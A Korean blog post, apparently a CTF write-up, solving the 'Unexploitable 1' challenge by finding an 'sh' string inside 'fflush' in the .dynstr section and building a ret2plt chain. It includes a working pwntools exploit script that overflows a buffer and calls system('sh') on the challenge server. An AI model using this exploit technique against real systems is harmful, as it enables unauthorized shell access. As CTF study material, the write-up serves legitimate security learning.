write-up/ctf.j0n9hyun.xyz

[j0n9hyun] Unexploitable 1

범고래_1 2019. 7. 23. 22:30


main() 함수에서 fgets() 함수로 입력을 받는데, 일단 취약점을 주고 시작한다.


보다시피 바이너리에는 고정 주소에 "sh\x00"이 박혀있다.


확인 한 번 더.


그 이유는 fflush() 함수 때문인데, 바이너리 안에는 사용하는 라이브러리 함수 이름들이 다음과 같이 박혀있다.


fflush의 문자열 일부가 "sh\x00"으로 인식되는 것이다.

이 영역은 .dynstr 영역이며, objdump로도 확인 가능하다.

objdump -h Unexploitable_1로 각 섹션을 확인한 모습이다.


5번에 .dynstr 영역이 보인다.

이 영역의 문자열을 긁으면


따란.


그리고 또 system()함수의 plt도 주어졌다.


필요한건 다 찾은 것 같다. 

pop rdi가젯으로 "sh\x00"주소를 rdi에 넣어주고, 바로 system함수의 plt로 뛰어주면 된다.

from pwn import *

context.terminal = ['tmux', 'splitw', '-h']

#p = process('./Unexploitable_1')
p = remote('ctf.j0n9hyun.xyz', 3023)
#gdb.attach(p, 'b*0x0400765')
e = ELF('./Unexploitable_1')

pop_rdi = 0x00000000004007d3

p.recvuntil("system@plt!\n")

payload = "A"*0x18
payload += p64(pop_rdi)
payload += p64(0x6003bf) # "sh\x00"
payload += p64(e.plt.system)

p.sendline(payload)

p.interactive()


'write-up > ctf.j0n9hyun.xyz' 카테고리의 다른 글

[j0n9hyun] Unexploitable 2  (0) 2019.07.23